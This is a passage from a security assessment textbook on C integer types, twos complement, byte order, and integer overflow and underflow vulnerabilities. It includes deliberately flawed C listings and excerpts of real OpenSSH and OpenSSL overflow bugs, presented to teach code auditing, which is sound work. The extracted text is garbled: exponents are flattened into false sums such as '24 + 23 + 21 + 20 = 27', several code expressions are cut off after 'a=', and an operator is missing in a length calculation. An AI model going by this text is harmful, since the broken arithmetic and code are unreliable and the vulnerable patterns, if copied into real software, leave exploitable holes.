    unsigned int id:4; 

    unsigned int tflag:1; 

    unsigned int rflag:1; 

    unsigned int ack:2; 

    unsigned int seqnum:8; 
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    unsigned int code:16; 

}; 

 

The controller structure has several small members. id refers to a 4-bit unsigned 

variable, and tflag and rflag refer to single bits. ack is a 2-bit variable, seqnum is an 

8-bit variable, and code is a 16-bit variable. The members of this structure are likely 

to be laid out so that they're contiguous bits in memory that fit within one 32-bit 

region. 

 

From an abstract perspective, each integer type (including character types) 

represents a different integer size that the compiler can map to an appropriate 

underlying architecture-dependent data type. A character is guaranteed to consume 

1 byte of storage (although a byte might not necessarily be 8 bits). sizeof(char) is 

always one, and you can always use an unsigned character pointer, sizeof, and 

memcpy() to examine and manipulate the actual contents of other types. The other 

integer types have certain ranges of values they are required to be able to represent, 

and they must maintain certain relationships with each other (long can't be smaller 

than short, for example), but otherwise, their implementation largely depends on 

their architecture and compiler. 

Signed integer types can represent both positive and negative values, whereas 

unsigned types can represent only positive values. Each signed integer type has a 

corresponding unsigned integer type that takes up the same amount of storage. 

Unsigned integer types have two possible types of bits: value bits, which contain the 

actual base-two representation of the object's value, and padding bits, which are 

optional and otherwise unspecified by the standard. Signed integer types have value 

bits and padding bits as well as one additional bit: the sign bit. If the sign bit is clear 

in a signed integer type, its representation for a value is identical to that value's 

representation in the corresponding unsigned integer type. In other words, the 

underlying bit pattern for the positive value 42 should look the same whether it's 

stored in an int or unsigned int. 

An integer type has a precision and a width. The precision is the number of value bits 

the integer type uses. The width is the number of bits the type uses to represent its 

value, including the value and sign bits, but not the padding bits. For unsigned integer 

types, the precision and width are the same. For signed integer types, the width is 

one greater than the precision. 

Programmers can invoke the various types in several ways. For a given integer type, 

such as short int, a programmer can generally omit the int keyword. So the keywords 

signed short int, signed short, short int, and short refer to the same data type. In 

general, if the signed and unsigned type specifiers are omitted, the type is assumed 
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to be signed. However, this assumption isn't true for the char type, as whether it's 

signed depends on the implementation. (Usually, chars are signed. If you need a 

signed character with 100% certainty, you can specifically declare a signed char.) 

C also has a rich type-aliasing system supported via typedef, so programmers usually 

have preferred conventions for specifying a variable of a known size and 

representation. For example, types such as int8_t, uint8_t, int32_t, and u_int32_t 

are popular with UNIX and network programmers. They represent an 8-bit signed 

integer, an 8-bit unsigned integer, a 32-bit signed integer, and a 32-bit unsigned 

integer, respectively. Windows programmers tend to use types such as BYTE, CHAR, 

and DWORD, which respectively map to an 8-bit unsigned integer, an 8-bit signed 

integer, and a 32-bit unsigned integer. 

Binary Encoding 

Unsigned integer values are encoded in pure binary form, which is a base-two 

numbering system. Each bit is a 1 or 0, indicating whether the power of two that the 

bit's position represents is contributing to the number's total value. To convert a 

positive number from binary notation to decimal, the value of each bit position n is 

multiplied by 2n-1. A few examples of these conversions are shown in the following 

lines: 

0001 1011 = 24 + 23 + 21 + 20 = 27 

0000 1111 = 23 + 22 + 21 + 20 = 15 

0010 1010 = 25 + 23 + 21 = 42 

 

Similarly, to convert a positive decimal integer to binary, you repeatedly subtract 

powers of two, starting from the highest power of two that can be subtracted from the 

integer leaving a positive result (or zero). The following lines show a few sample 

conversions: 

55 = 32 + 16 + 4 + 2 + 1 

  = (25) + (24) + (22) + (21) + (20) 

  = 0011 0111 

 

37 = 32 + 4 + 1 

  = (25) + (22) + (20) 

  = 0010 0101 
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Signed integers make use of a sign bit as well as value and padding bits. The C 

standards give three possible arithmetic schemes for integers and, therefore, three 

possible interpretations for the sign bit: 

 Sign and magnitude The sign of the number is stored in the sign bit. It's 1 if the 

number is negative and 0 if the number is positive. The magnitude of the 

number is stored in the value bits. This scheme is easy for humans to read and 

understand but is cumbersome for computers because they have to explicitly 

compare magnitudes and signs for arithmetic operations. 

 Ones complement Again, the sign bit is 1 if the number is negative and 0 if the 

number is positive. Positive values can be read directly from the value bits. 

However, negative values can't be read directly; the whole number must be 

negated first. In ones complement, a number is negated by inverting all its 

bits. To find the value of a negative number, you have to invert its bits. This 

system works better for the machine, but there are still complications with 

addition, and, like sign and magnitude, it has the amusing ambiguity of having 

two values of zero: positive zero and negative zero. 

 Twos complement The sign bit is 1 if the number is negative and 0 if the 

number is positive. You can read positive values directly from the value bits, 

but you can't read negative values directly; you have to negate the whole 

number first. In twos complement, a number is negated by inverting all the 

bits and then adding one. This works well for the machine and removes the 

ambiguity of having two potential values of zero. 

Integers are usually represented internally by using twos complement, especially in 

modern computers. As mentioned, twos complement encodes positive values in 

standard binary encoding. The range of positive values that can be represented is 

based on the number of value bits. A twos complement 8-bit signed integer has 7 

value bits and 1 sign bit. It can represent the positive values 0 to 127 in the 7 value 

bits. All negative values represented with twos complement encoding require the sign 

bit to be set. The values from -128 to -1 can be represented in the value bits when the 

sign bit is set, thus allowing the 8-bit signed integer to represent -128 to 127. 

For arithmetic, the sign bit is placed in the most significant bit of the data type. In 

general, a signed twos complement number of width X can represent the range of 

integers from -2X-1 to 2X-1-1. Table 6-1 shows the typical ranges of twos complement 

integers of varying sizes. 

Table 6-1. Maximum and Minimum Values for Integers 

  8-bit 16-bit 32-bit 64-bit 

Minimum value (signed) -128 -32768 -2147483648 -9223372036854775808 

Maximum value (signed) 127 32767 2147483647 9223372036854775807 
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Table 6-1. Maximum and Minimum Values for Integers 

  8-bit 16-bit 32-bit 64-bit 

Minimum value (unsigned) 0 0 0 0 

Maximum value 

(unsigned) 

255 65535 4294967295 18446744073709551615 

 

As described previously, you negate a twos complement number by inverting all the 

bits and adding one. Listing 6-1 shows how you obtain the representation of -15 by 

inverting the number 15, and then how you figure out the value of an unknown 

negative bit pattern. 

Listing 6-1. Twos Complement Representation of -15 

0000 1111  binary representation for 15 

1111 0000  invert all the bits 

0000 0001  add one 

1111 0001  twos complement representation for -15 

 

1101 0110  unknown negative number 

0010 1001  invert all the bits 

0000 0001  add one 

0010 1010  twos complement representation for 42 

             original number was -42 

 

Byte Order 

There are two conventions for ordering bytes in modern architectures: big endian 

and little endian. These conventions apply to data types larger than 1 byte, such as 

a short int or an int. In the big-endian architecture, the bytes are located in memory 

starting with the most significant byte and ending with the least significant byte. 

Little-endian architectures, however, start with the least significant byte and end with 

the most significant. For example, you have a 4-byte integer with the decimal value 

12345. In binary, it's 11000000111001. This integer is located at address 500. On a 

big-endian machine, it's represented in memory as the following: 

Address 500: 00000000 

Address 501: 00000000 

Address 502: 00110000 

Address 503: 00111001 

 

On a little-endian machine, however, it's represented this way: 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 222 

Address 500: 00111001 

Address 501: 00110000 

Address 502: 00000000 

Address 503: 00000000 

 

Intel machines are little endian, but RISC machines, such as SPARC, tend to be big 

endian. Some machines are capable of dealing with both encodings natively. 

Common Implementations 

Practically speaking, if you're talking about a modern, 32-bit, twos complement 

machine, what can you say about C's basic types and their representations? In 

general, none of the integer types have any padding bits, so you don't need to worry 

about that. Everything is going to use twos complement representation. Bytes are 

going to be 8 bits long. Byte order varies; it's little endian on Intel machines but more 

likely to be big endian on RISC machines. 

The char type is likely to be signed by default and take up 1 byte. The short type takes 

2 bytes, and int takes 4 bytes. The long type is also 4 bytes, and long long is 8 bytes. 

Because you know integers are twos complement encoded and you know their 

underlying sizes, determining their minimum and maximum values is easy. Table 6-2 

summarizes the typical sizes for ranges of integer data types on a 32-bit machine. 

Table 6-2. Typical Sizes and Ranges for Integer Types on 32-Bit Platforms 

Type Width 

(in Bits) 

Minimum Value Maximum Value 

signed char 8 -128 127 

unsigned 

char 

8 0 255 

short 16 -32,768 32,767 

unsigned 

short 

16 0 65,535 

Int 32 -2,147,483,648 2,147,483,647 

unsigned 

int 

32 0 4,294,967,295 

long 32 -2,147,483,648 2,147,483,647 

unsigned 

long 

32 0 4,294,967,295 

long long 64 -9,223,372,036,854,775,808 9,223,372,036,854,775,807 
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Table 6-2. Typical Sizes and Ranges for Integer Types on 32-Bit Platforms 

Type Width 

(in Bits) 

Minimum Value Maximum Value 

unsigned 

long long 

64 0 18,446,744,073,709,551,615 

 

What can you expect in the near future as 64-bit systems become more prevalent? 

The following list describes a few type systems that are in use today or have been 

proposed: 

 ILP32 int, long, and pointer are all 32 bits, the current standard for most 32-bit 

computers. 

 ILP32LL int, long, and pointer are all 32 bits, and a new typelong longis 64 bits. 

The long long type is new to C99. It gives C a type that has a minimum width 

of 64 bits but doesn't change any of the language's fundamentals. 

 LP64 long and pointer are 64 bits, so the pointer and long types have changed 

from 32-bit to 64-bit values. 

 ILP64 int, long, and pointer are all 64 bits. The int type has been changed to a 

64-bit type, which has fairly significant implications for the language. 

 LLP64 pointers and the new long long type are 64 bits. The int and long types 

remain 32-bit data types. 

Table 6-3 summarizes these type systems briefly. 

Table 6-3. 64-Bit Integer Type Systems 

Type ILP32 ILP32LL LP64 ILP64 LLP64 

char 8 8 8 8 8 

short 16 16 16 16 16 

int 32 32 32 64 32 

long 32 32 64 64 32 

long long N/A 64 64 64 64 

pointer 32 32 64 64 64 

 

As you can see, the typical data type sizes match the ILP32LL model, which is what 

most compilers adhere to on 32-bit platforms. The LP64 model is the de facto 

standard for compilers that generate code for 64-bit platforms. As you learn later in 

this chapter, the int type is a basic unit for the C language; many things are converted 

to and from it behind the scenes. Because the int data type is relied on so heavily for 
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expression evaluations, the LP64 model is an ideal choice for 64-bit systems because 

it doesn't change the int data type; as a result, it largely preserves the expected C 

type conversion behavior. 

 

7.2.4 Arithmetic Boundary Conditions 

You've learned that C's basic integer types have minimum and maximum possible 

values determined by their underlying representation in memory. (Typical ranges for 

32-bit twos complement architectures were presented in Table 6-2(? [????.]).) So, 

now you can explore what can happen when you attempt to traverse these 

boundaries. Simple arithmetic on a variable, such as addition, subtraction, or 

multiplication, can result in a value that can't be held in that variable. Take a look at 

this example: 

unsigned int a; 

a=0xe0000020; 

a= 

 

You know that a can hold a value of 0xE0000020 without a problem; Table 6-2(? 

[????.]) lists the maximum value of an unsigned 32-bit variable as 4,294,967,295, or 

0xFFFFFFFF. However, when 0x20000020 is added to 0xE0000000, the result, 

0x100000040, can't be held in a. When an arithmetic operation results in a value 

higher than the maximum possible representable value, it's called a numeric 

overflow condition. 

Here's a slightly different example: 

unsigned int a; 

a=0; 

a= 

 

The programmer subtracts 1 from a, which has an initial value of 0. The resulting 

value, -1, can't be held in a because it's below the minimum possible value of 0. This 

result is known as a numeric underflow condition. 

Note 

Numeric overflow conditions are also referred to in secure-programming literature as 

numeric overflows, arithmetic overflows, integer overflows, or integer wrapping. 

Numeric underflow conditions can be referred to as numeric underflows, arithmetic 

underflows, integer underflows, or integer wrapping. Specifically, the terms 

"wrapping around a value" or "wrapping below zero" might be used. 

31051536.html
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Although these conditions might seem as though they would be infrequent or 

inconsequential in real code, they actually occur quite often, and their impact can be 

quite severe from a security perspective. The incorrect result of an arithmetic 

operation can undermine the application's integrity and often result in a compromise 

of its security. A numeric overflow or underflow that occurs early in a block of code 

can lead to a subtle series of cascading faults; not only is the result of a single 

arithmetic operation tainted, but every subsequent operation using that tainted result 

introduces a point where an attacker might have unexpected influence. 

Note 

Although numeric wrapping is common in most programming languages, it's a 

particular problem in C/C++ programs because C requires programmers to perform 

low-level tasks that more abstracted high-level languages handle automatically. 

These tasks, such as dynamic memory allocation and buffer length tracking, often 

require arithmetic that might be vulnerable. Attackers commonly leverage arithmetic 

boundary conditions by manipulating a length calculation so that an insufficient 

amount of memory is allocated. If this happens, the program later runs the risk of 

manipulating memory outside the bounds of the allocated space, which often leads to 

an exploitable situation. Another common attack technique is bypassing a length 

check that protects sensitive operations, such as memory copies. This chapter offers 

several examples of how underflow and overflow conditions lead to exploitable 

vulnerabilities. In general, auditors should be mindful of arithmetic boundary 

conditions when reviewing code and be sure to consider the possible implications of 

the subtle, cascading nature of these flaws. 

 

In the following sections, you look at arithmetic boundary conditions affecting 

unsigned integers and then examine signed integers. 

Warning 

An effort has been made to use int and unsigned int types in examples to avoid code 

that's affected by C's default type promotions. This topic is covered in "Type 

Conversions(? [????.])" later in the chapter, but for now, note that whenever you use 

a char or short in an arithmetic expression in C, it's converted to an int before the 

arithmetic is performed. 

 

 

Unsigned Integer Boundaries 
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Unsigned integers are defined in the C specification as being subject to the rules of 

modular arithmetic (see the "Modular Arithmetic" sidebar). For an unsigned integer 

that uses X bits of storage, arithmetic on that integer is performed modulo 2X. For 

example, arithmetic on a 8-bit unsigned integer is performed modulo 28, or modulo 

256. Take another look at this simple expression: 

unsigned int a; 

a=0xE0000020; 

a= 

 

The addition is performed modulo 232, or modulo 4,294,967,296 (0x100000000). The 

result of the addition is 0x40, which is (0xE0000020 + 0x20000020) modulo 

0x100000000. 

Another way to conceptualize it is to consider the extra bits of the result of a numeric 

overflow as being truncated. If you do the calculation 0xE0000020 + 0x20000020 in 

binary, you would have the following: 

      1110 0000 0000 0000 0000 0000 0010 0000 

+     0010 0000 0000 0000 0000 0000 0010 0000 

=   1 0000 0000 0000 0000 0000 0000 0100 0000 

 

The result you actually get in a is 0x40, which has a binary representation of 0000 

0000 0000 0000 0000 0000 0100 0000. 

Modular Arithmetic 

Modular arithmetic is a system of arithmetic used heavily in computer 

science. The expression "X modulo Y" means "the remainder of X divided by 

Y." For example, 100 modulo 11 is 1 because when 100 is divided by 11, the 

answer is 9 and the remainder is 1. The modulus operator in C is written as %. 

So in C, the expression (100 % 11) evaluates to 1, and the expression (100 / 

11) evaluates to 9. 

Modular arithmetic is useful for making sure a number is bounded within a 

certain range, and you often see it used for this purpose in hash tables. To 

explain, when you have X modulo Y, and X and Y are positive numbers, you 

know that the highest possible result is Y-1 and the lowest is 0. If you have 

a hash table of 100 buckets, and you need to map a hash to one of the 

buckets, you could do this: 

struct bucket *buckets[100]; 
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... 

bucket = buckets[hash % 100]; 

 

To see how modular arithmetic works, look at a simple loop: 

for (i=0; i<20; i++) 

    printf("%d ", i % 6); 

printf("\n"); 

 

The expression (i % 6) essentially bounds i to the range 0 to 5. As the 

program runs, it prints the following: 

0 1 2 3 4 5 0 1 2 3 4 5 0 1 2 3 4 5 0 1 

 

You can see that as i advanced from 0 to 19, i % 6 also advanced, but it 

wrapped back around to 0 every time it hit its maximum value of 5. As you 

move forward through the value, you wrap around the maximum value of 5. 

If you move backward through the values, you wrap "under" 0 to the 

maximum value of 5. 

 

You can see that it's the same as the result of the addition but without the highest bit. 

This isn't far from what's happening at the machine level. For example, Intel 

architectures have a carry flag (CF) that holds this highest bit. C doesn't have a 

mechanism for allowing access to this flag, but depending on the underlying 

architecture, it could be checked via assembly code. 

Here's an example of a numeric overflow condition that occurs because of 

multiplication: 

unsigned int a; 

a=0xe0000020; 

a= 

 

Again, the arithmetic is performed modulo 0x100000000. The result of the 

multiplication is 0xC0000840, which is (0xE0000020 * 0x42) modulo 0x100000000. 

Here it is in binary: 

           1110 0000 0000 0000 0000 0000 0010 0000 

*          0000 0000 0000 0000 0000 0000 0100 0010 

=  11 1001 1100 0000 0000 0000 0000 1000 0100 0000 
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The result you actually get in a, 0xC0000840, has a binary representation of 1100 

0000 0000 0000 0000 1000 0100 0000. Again, you can see how the higher bits that 

didn't fit into the result were effectively truncated. At a machine level, often it's 

possible to detect an overflow with integer multiplication as well as recover the high 

bits of a multiplication. For example, on Intel the imul instruction uses a destination 

object that's twice the size of the source operands when multiplying, and it sets the 

flags OF (overflow) and CF (carry) if the result of the multiplication requires a width 

greater than the source operand. Some code even uses inline assembly to check for 

numeric overflow (discussed in the "Multiplication Overflows on Intel" sidebar later in 

this chapter). 

You've seen examples of how arithmetic overflows could occur because of addition 

and multiplication. Another operator that can cause overflows is left shift, which, for 

this discussion, can be thought of as multiplication with 2. It behaves much the same 

as multiplication, so an example hasn't been provided. 

Now, you can look at some security exposures related to numeric overflow of 

unsigned integers. Listing 6-2 is a sanitized, edited version of an exploitable condition 

found recently in a client's code. 

Listing 6-2. Integer Overflow Example 

u_char *make_table(unsigned int width, unsigned int height, 

                   u_char *init_row) 

{ 

    unsigned int n; 

    int i; 

    u_char *buf; 

 

    n = width * height; 

 

    buf = (char *)malloc(n); 

    if (!buf) 

        return (NULL); 

    for (i=0; i< height; i++) 

        memcpy(&buf[i*width], init_row, width); 

 

    return buf; 

} 

 

The purpose of the make_table() function is to take a width, a height, and an initial 

row and create a table in memory where each row is initialized to have the same 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 229 

contents as init_row. Assume that users have control over the dimensions of the new 

table: width and height. If they specify large dimensions, such as a width of 

1,000,000, and a height of 3,000, the function attempts to call malloc() for 

3,000,000,000 bytes. The allocation likely fails, and the calling function detects the 

error and handles it gracefully. However, users can cause an arithmetic overflow in 

the multiplication of width and height if they make the dimensions just a bit larger. 

This overflow is potentially exploitable because the allocation is done by multiplying 

width and height, but the actual array initialization is done with a for loop. So if users 

specify a width of 0x400 and a height of 0x1000001, the result of the multiplication is 

0x400000400. This value, modulo 0x100000000, is 0x00000400, or 1024. So 1024 

bytes would be allocated, but then the for loop would copy init_row roughly 16 

million too many times. A clever attacker might be able to leverage this overflow to 

take control of the application, depending on the low-level details of the process's 

runtime environment. 

Take a look at a real-world vulnerability that's similar to the previous example, found 

in the OpenSSH server. Listing 6-3 is from the OpenSSH 3.1 challenge-response 

authentication code: auth2-chall.c in the input_userauth_info_response() function. 

Listing 6-3. Challenge-Response Integer Overflow Example in OpenSSH 3.1 

   u_int nresp; 

... 

   nresp = packet_get_int(); 

   if (nresp > 0) { 

       response = xmalloc(nresp * sizeof(char*)); 

       for (i = 0; i < nresp; i++) 

           response[i] = packet_get_string(NULL); 

   } 

   packet_check_eom(); 

 

The nresp unsigned integer is user controlled, and its purpose is to tell the server how 

many responses to expect. It's used to allocate the response[] array and fill it with 

network data. During the allocation of the response[] array in the call to xmalloc(), 

nresp is multiplied by sizeof(char *), which is typically 4 bytes. If users specify an 

nresp value that's large enough, a numeric overflow could occur, and the result of the 

multiplication could end up being a small number. For example, if nresp has a value of 

0x40000020, the result of the multiplication with 4 is 0x80. Therefore, 0x80 bytes are 

allocated, but the following for loop attempts to retrieve 0x40000020 strings from 

the packet! This turned out to be a critical remotely exploitable vulnerability. 

Now turn your attention to numeric underflows. With unsigned integers, subtractions 

can cause a value to wrap under the minimum representable value of 0. The result of 
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an underflow is typically a large positive number because of the modulus nature of 

unsigned integers. Here's a brief example: 

unsigned int a; 

a=0x10; 

a= 

 

Look at the calculation in binary: 

     0000 0000 0000 0000 0000 0000 0001 0000 

-    0000 0000 0000 0000 0000 0000 0011 0000 

=    1111 1111 1111 1111 1111 1111 1110 0000 

 

The result you get in a is the bit pattern for 0xffffffe0, which in twos complement 

representation is the correct negative value of -0x20. Recall that in modulus 

arithmetic, if you advance past the maximum possible value, you wrap around to 0. 

A similar phenomenon occurs if you go below the minimum possible value: You wrap 

around to the highest possible value. Since a is an unsigned int type, it has a value of 

0xffffffe0 instead of -0x20 after the subtraction. Listing 6-4 is an example of a 

numeric underflow involving an unsigned integer. 

Listing 6-4. Unsigned Integer Underflow Example 

struct header { 

    unsigned int length; 

    unsigned int message_type; 

}; 

 

char *read_packet(int sockfd) 

{ 

    int n; 

    unsigned int length; 

    struct header hdr; 

    static char buffer[1024]; 

 

    if(full_read(sockfd, (void *)&hdr, sizeof(hdr))<=0){ 

        error("full_read: %m"); 

        return NULL; 

    } 

 

    length = ntohl(hdr.length); 

 

    if(length > (1024 + sizeof (struct header) - 1)){ 
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        error("not enough room in buffer\n"); 

        return NULL; 

    } 

 

    if(full_read(sockfd, buffer, 

                 length  sizeof(struct header))<=0) 

    { 

        error("read: %m"); 

        return NULL; 

    } 

 

    buffer[sizeof(buffer)-1] = '\0'; 

 

    return strdup(buffer); 

} 

 

This code reads a packet header from the network and extracts a 32-bit length field 

into the length variable. The length variable represents the total number of bytes in 

the packet, so the program first checks that the data portion of the packet isn't longer 

than 1024 bytes to prevent an overflow. It then tries to read the rest of the packet 

from the network by reading (length sizeof(struct header)) bytes into buffer. This 

makes sense, as the code wants to read in the packet's data portion, which is the total 

length minus the length of the header. 

The vulnerability is that if users supply a length less than sizeof(struct header), the 

subtraction of (length sizeof(struct header)) causes an integer underflow and ends 

up passing a very large size parameter to full_read(). This error could result in a 

buffer overflow because at that point, read() would essentially copy data into the 

buffer until the connection is closed, which would allow attackers to take control of the 

process. 

Multiplication Overflows on Intel 

Generally, processors detect when an integer overflow occurs and provide 

mechanisms for dealing with it; however, they are seldom used for error 

checking and generally aren't accessible from C. For example, Intel 

processors set the overflow flag (OF) in the EFLAGS register when a 

multiplication causes an overflow, but a C programmer can't check that flag 

without using inline assembler. Sometimes this is done for security reasons, 

such as the NDR unmarshalling routines for handling MSRPC requests in 

Windows operating systems. The following code, taken from rpcrt4.dll, is 
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called when unmarshalling various data types from RPC requests: 

sub_77D6B6D4    proc near 

 

var_of      = dword ptr -4 

arg_count   = dword ptr 8 

arg_length  = dword ptr 0Ch 

push    ebp 

mov     ebp, esp 

push    ecx 

and     [ebp+var_of], 0 

               ; set overflow flag to 0 

push    esi 

mov     esi, [ebp+arg_length] 

imul    esi, [ebp+arg_count] 

               ; multiply length * count 

jno     short check_of 

mov     [ebp+var_of], 1 

               ; if of set, set out flag 

 

check_of: 

cmp     [ebp+var_of], 0 

jnz     short raise_ex 

               ; must not overflow 

cmp     esi, 7FFFFFFFh 

jbe     short return 

               ; must be a positive int 

 

raise_ex: 

push    6C6h 

               ; exception 

call    RpcRaiseException 

 

return: 

mov     eax, esi 

               ; return result 

pop     esi 

leave 

retn    8 

 

You can see that this function, which multiplies the number of provided 

elements with the size of each element, does two sanity checks. First, it uses 

jno to check the overflow flag to make sure the multiplication didn't overflow. 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 233 

Then it makes sure the resulting size is less than or equal to the maximum 

representable value of a signed integer, 0x7FFFFFFF. If either check fails, the 

function raises an exception. 

 

 

Signed Integer Boundaries 

Signed integers are a slightly different animal. According to the C specifications, the 

result of an arithmetic overflow or underflow with a signed integer is implementation 

defined and could potentially include a machine trap or fault. However, on most 

common architectures, the results of signed arithmetic overflows are well defined and 

predictable and don't result in any kind of exception. These boundary behaviors are a 

natural consequence of how twos complement arithmetic is implemented at the 

hardware level, and they should be consistent on mainstream machines. 

If you recall, the maximum positive value that can be represented in a twos 

complement signed integer is one in which all bits are set to 1 except the most 

significant bit, which is 0. This is because the highest bit indicates the sign of the 

number, and a value of 1 in that bit indicates that the number is negative. When an 

operation on a signed integer causes an arithmetic overflow or underflow to occur, 

the resulting value "wraps around the sign boundary" and typically causes a change 

in sign. For example, in a 32-bit integer, the value 0x7FFFFFFF is a large positive 

number. Adding 1 to it produces the result 0x80000000, which is a large negative 

number. Take a look at another simple example: 

int a; 

a=0x7FFFFFF0; 

a= 

 

The result of the addition is -0x7fffff10, or -2,147,483,408. Now look at the 

calculation in binary: 

      0111 1111 1111 1111 1111 1111 1111 0000 

+     0000 0000 0000 0000 0000 0001 0000 0000 

=     1000 0000 0000 0000 0000 0000 1111 0000 

 

The result you get in a is the bit pattern for 0x800000f0, which is the correct result of 

the addition, but because it's interpreted as a twos complement number, the value is 

actually interpreted as -0x7fffff10. In this case, a large positive number plus a small 

positive number resulted in a large negative number. 

With signed addition, you can overflow the sign boundary by causing a positive 

number to wrap around 0x80000000 and become a negative number. You can also 
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underflow the sign boundary by causing a negative number to wrap below 

0x80000000 and become a positive number. Subtraction is identical to addition with 

a negative number, so you can analyze them as being essentially the same operation. 

Overflows during multiplication and shifting are also possible, and classifying their 

results isn't as easy. Essentially, the bits fall as they may; if a bit happens to end up 

in the sign bit of the result, the result is negative. Otherwise, it's not. Arithmetic 

overflows involving multiplication seem a little tricky at first glance, but attackers can 

usually make them return useful, targeted values. 

Note 

Throughout this chapter, the read() function is used to demonstrate various forms of 

integer-related flaws. This is a bit of an oversimplification for the purposes of clarity, 

as many modern systems validate the length argument to read() at the system call 

level. These systems, which include BSDs and the newer Linux 2.6 kernel, check that 

this argument is less than or equal to the maximum value of a correspondingly sized 

signed integer, thus minimizing the risk of memory corruption. 

 

Certain unexpected sign changes in arithmetic can lead to subtly exploitable 

conditions in code. These changes can cause programs to calculate space 

requirements incorrectly, leading to conditions similar to those that occur when 

crossing the maximum boundary for unsigned integers. Bugs of this nature typically 

occur in applications that perform arithmetic on integers taken directly from external 

sources, such as network data or files. Listing 6-5 is a simple example that shows how 

crossing the sign boundary can adversely affect an application. 

Listing 6-5. Signed Integer Vulnerability Example 

char *read_data(int sockfd) 

{ 

    char *buf; 

    int length = network_get_int(sockfd); 

 

    if(!(buf = (char *)malloc(MAXCHARS))) 

        die("malloc: %m"); 

 

    if(length < 0 || length + 1 >= MAXCHARS){ 

        free(buf); 

        die("bad length: %d", value); 

    } 

 

    if(read(sockfd, buf, length) <= 0){ 

        free(buf); 
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        die("read: %m"); 

    } 

 

    buf[value] = '\0'; 

 

    return buf; 

} 

 

This example reads an integer from the network and performs some sanity checks on 

it. First, the length is checked to ensure that it's greater than or equal to zero and, 

therefore, positive. Then the length is checked to ensure that it's less than 

MAXCHARS. However, in the second part of the length check, 1 is added to the length. 

This opens an attack vector: A value of 0x7FFFFFFF passes the first check (because 

it's greater than 0) and passes the second length check (as 0x7FFFFFFF + 1 is 

0x80000000, which is a negative value). read() would then be called with an 

effectively unbounded length argument, leading to a potential buffer overflow 

situation. 

This kind of mistake is easy to make when dealing with signed integers, and it can be 

equally challenging to spot. Protocols that allow users to specify integers directly are 

especially prone to this type of vulnerability. To examine this in practice, take a look 

at a real application that performs an unsafe calculation. The following vulnerability 

was in the OpenSSL 0.9.6 codebase related to processing Abstract Syntax Notation 

(ASN.1) encoded data. (ASN.1 is a language used for describing arbitrary messages 

to be sent between computers, which are encoded using BER, its basic encoding 

rules.) This encoding is a perfect candidate for a vulnerability of this nature because 

the protocol deals explicitly with 32-bit integers supplied by untrusted clients. Listing 

6-6 is taken from crypto/asn1/a_d2i_fp.cthe ASN1_d2i_fp() function, which is 

responsible for reading ASN.1 objects from buffered IO (BIO) streams. This code has 

been edited for brevity. 

Listing 6-6. Integer Sign Boundary Vulnerability Example in OpenSSL 0.9.6l 

c.inf=ASN1_get_object(&(c.p),&(c.slen),&(c.tag),&(c.xclass), 

                      len-off); 

 

... 

{ 

    /* suck in c.slen bytes of data */ 

    want=(int)c.slen; 

    if (want > (len-off)) 

    { 

        want-=(len-off); 
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        if (!BUF_MEM_grow(b,len+want)) 

        { 

            ASN1err(ASN1_F_ASN1_D2I_BIO, 

                    ERR_R_MALLOC_FAILURE); 

            goto err; 

        } 

        i=want); 

 

This code is called in a loop for retrieving ASN.1 objects. The ASN1_get_object() 

function reads an object header that specifies the length of the next ASN.1 object. 

This length is placed in the signed integer c.slen, which is then assigned to want. The 

ASN.1 object function ensures that this number isn't negative, so the highest value 

that can be placed in c.slen is 0x7FFFFFFF. At this point, len is the amount of data 

already read in to memory, and off is the offset in that data to the object being 

parsed. So, (len-off) is the amount of data read into memory that hasn't yet been 

processed by the parser. If the code sees that the object is larger than the available 

unparsed data, it decides to allocate more space and read in the rest of the object. 

The BUF_MEM_grow() function is called to allocate the required space in the memory 

buffer b; its second argument is a size parameter. The problem is that the len+want 

expression used for the second argument can be overflowed. Say that upon entering 

this code, len is 200 bytes, and off is 50. The attacker specifies an object size of 

0x7FFFFFFF, which ends up in want. 0x7FFFFFFF is certainly larger than the 150 bytes 

of remaining data in memory, so the allocation code will be entered. want will be 

subtracted by 150 to reflect the amount of data already read in, giving it a value of 

0x7FFFFF69. The call to BUF_MEM_grow() will ask for len+want bytes, or 0x7FFFFF69 + 

200. This is 0x80000031, which is interpreted as a large negative number. 

Internally, the BUF_MEM_grow() function does a comparison to check its length 

argument against how much space it has previously allocated. Because a negative 

number is less than the amount of memory it has already allocated, it assumes 

everything is fine. So the reallocation is bypassed, and arbitrary amounts of data can 

be copied into allocated heap data, with severe consequences. 

7.2.5 Type Conversions 

C is extremely flexible in handling the interaction of different data types. For example, 

with a few casts, you can easily multiply an unsigned character with a signed long 

integer, add it to a character pointer, and then pass the result to a function expecting 

a pointer to a structure. Programmers are used to this flexibility, so they tend to mix 

data types without worrying too much about what's going on behind the scenes. 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 237 

To deal with this flexibility, when the compiler needs to convert an object of one type 

into another type, it performs what's known as a type conversion. There are two 

forms of type conversions: explicit type conversions, in which the programmer 

explicitly instructs the compiler to convert from one type to another by casting, and 

implicit type conversions, in which the compiler does "hidden" transformations of 

variables to make the program function as expected. 

Note 

You might see type conversions referred to as "type coercions" in 

programming-language literature; the terms are synonymous. 

 

Often it's surprising when you first learn how many implicit conversions occur behind 

the scenes in a typical C program. These automatic type conversions, known 

collectively as the default type conversions, occur almost magically when a 

programmer performs seemingly straightforward tasks, such as making a function 

call or comparing two numbers. 

The vulnerabilities resulting from type conversions are often fascinating, because 

they can be subtle and difficult to locate in source code, and they often lead to 

situations in which the patch for a critical remote vulnerability is as simple as 

changing a char to an unsigned char. The rules governing these conversions are 

deceptively subtle, and it's easy to believe you have a solid grasp of them and yet 

miss an important nuance that makes a world of difference when you analyze or write 

code. 

Instead of jumping right into known vulnerability classes, first you look at how C 

compilers perform type conversions at a low level, and then you study the rules of C 

in detail to learn about all the situations in which conversions take place. This section 

is fairly long because you have to cover a lot of ground before you have the 

foundation to analyze C's type conversions with confidence. However, this aspect of 

the language is subtle enough that it's definitely worth taking the time to gain a solid 

understanding of the ground rules; you can leverage this understanding to find 

vulnerabilities that most programmers aren't aware of, even at a conceptual level. 

Overview 

When faced with the general problem of reconciling two different types, C goes to 

great lengths to avoid surprising programmers. The compilers follow a set of rules 

that attempt to encapsulate "common sense" about how to manage mixing different 

types, and more often than not, the result is a program that makes sense and simply 

does what the programmer intended. That said, applying these rules can often lead to 
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surprising, unexpected behaviors. Moreover, as you might expect, these unexpected 

